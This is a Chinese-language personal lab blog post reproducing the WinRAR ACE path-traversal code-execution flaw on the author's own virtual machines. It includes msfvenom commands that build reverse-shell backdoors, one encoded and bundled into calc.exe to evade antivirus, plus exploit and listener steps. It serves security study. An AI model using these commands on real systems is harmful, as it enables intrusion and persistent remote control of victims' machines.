WinRAR代码执行漏洞复现
漏洞介绍
WinRAR 是一款流行的解压缩工具,据其官网上发布的数据,全球有超过5亿的用户在使用
2019年2月20日,安全厂商 checkpoint 发布了名为《Extracting a 19 Year old code Execution from WinRAR》的文章,文章披露了一个存在于 winRAR 中用于 ace 文件解析的 DLL 模块中的绝对路径穿越漏洞,可导致远程代码执行。
漏洞类型:代码执行
漏洞利用条件:将压缩包解压到当前文件夹,同时释放恶意文件到指定目录,重启机器便会触发漏洞(解压到自启动目录 or 解压dll文件进行劫持)
受影响版本:WinRAR 5.7 之前含有UNACEV2.dll模块的压缩程序
产生原因:ace处理相关的DLL在对解压目标的相对路径进行解析时,CleanPath函数过滤不严导致
修复方案:升级到winrar5.7.1、
漏洞复现
环境准备:
吾爱破解上找的winrar 5.60版本
靶机:192.168.41.129
简体中文64位:http://www.win-rar.com/fileadmin/winrar-versions/sc20180711/wrr/winrar-x64-560sc.exe
简体中文32位:http://www.win-rar.com/fileadmin/winrar-versions/sc20180711/wrr/wrar560sc.exe
新版的winrar 5.71中不存在UNACEV2.dll
靶机下载的winrar5.60存在UNACEV2.dll模块
MSF生成后门
生成一个简单后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.41.130 -f exe -o shell.exe
刚传到本机,就被火绒杀了。可想而知现在用msf后门是有多方便,但也需要技术门槛,免杀的套路才行了。
MSF结合exp(msf命令错误示范)
替换exp.py中的exe
需python3.7 运行exp.py
遇到个坑,注意这里的命令,py2和py3兼容的,不能用python3 ./exp.py来运行
kali:
msf设置监听
use exploit/multi/handler set windows/x64/meterpreter/reverse_tcp
set LHOST
靶机:
解压到当前文件夹
重启触发exlpoit
win7上重启后,会提示一个操作,无法执行,如果直接关闭,那就直接died了。没有截图。重来一遍
再次替换后发现,执行exe的过程是放入开机的启动项中。所以才需要重启才能触发hi.exe即后门
无法重现,恢复快照尝试。应该是我之前直接ctrl+z,应该用ctrl+c中断监听,ctrl+z直接退出msfconsole,监听仍然存在。所以新开的收不到session。需要kill之前中断的msfconsole进程。
才能收到session
这台win7 sp1用来测试CVE20190708获取session失败,换一个win10试试(临时下载iso,安装程序,看会儿小甲鱼吧)
晚上了都,win10就绪,恢复下被杀的后门
复现失败。最后发现了问题,好像是我msf的问题。哎,气死了。打扰了。~~~~~~~~~~~~我payload设置错了。
我默认设置了payload windows/x64/meterpreter/reverse_tcp。应该设置为windows/meterpreter/reverse_tcp
正确MSF结合exp
winrar解压到当前文件夹释放恶意文件。重启电脑触发自启动后门
复现成功,之前的时间都浪费了呀。
既然这样就来玩一下捆绑的编码过的exe吧,记忆,掌握下msf的命令
编码21次、捆绑正常的32位calc.exe,生成32位的yunying.exe文件
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i 21 lhost=192.168.41.130 lport=1234 -x calc.exe -f exe -o yunying.exe
用火绒和QQ安全管家扫描,都是安全的。不像裸着的exe,放上来就被杀了。但是只要点击后,连接一样是直接被杀的。0-0。只有免杀才能逃过连接过程中的shellcode释放。编码只能绕过表面上的特征扫描。
开启msfconsole监听
64位的win7提示失败,但在本机却可以运行
win10测试
msf收不到session,没有反应,看别人也是有这样的payload同样收不到会话。0-0。
下次继续尝试把。先美化下kali的界面。颜控+1
https://www.jianshu.com/p/5bee0470eb89
尝试Wing学长的gnome-tweak-tool命令,在kali中找不到,不同版本命令不一样。解决方法=>gnome-tweaks
发现了figlet这样好玩的东西
showfigfonts 查看存有的字体
figlet -f bubble yunying -f指定要使用的字体
超级喜欢这个设计,自己的kali搞不出来。换个桌面美化就好了
明天去玩下CobaltStrike看看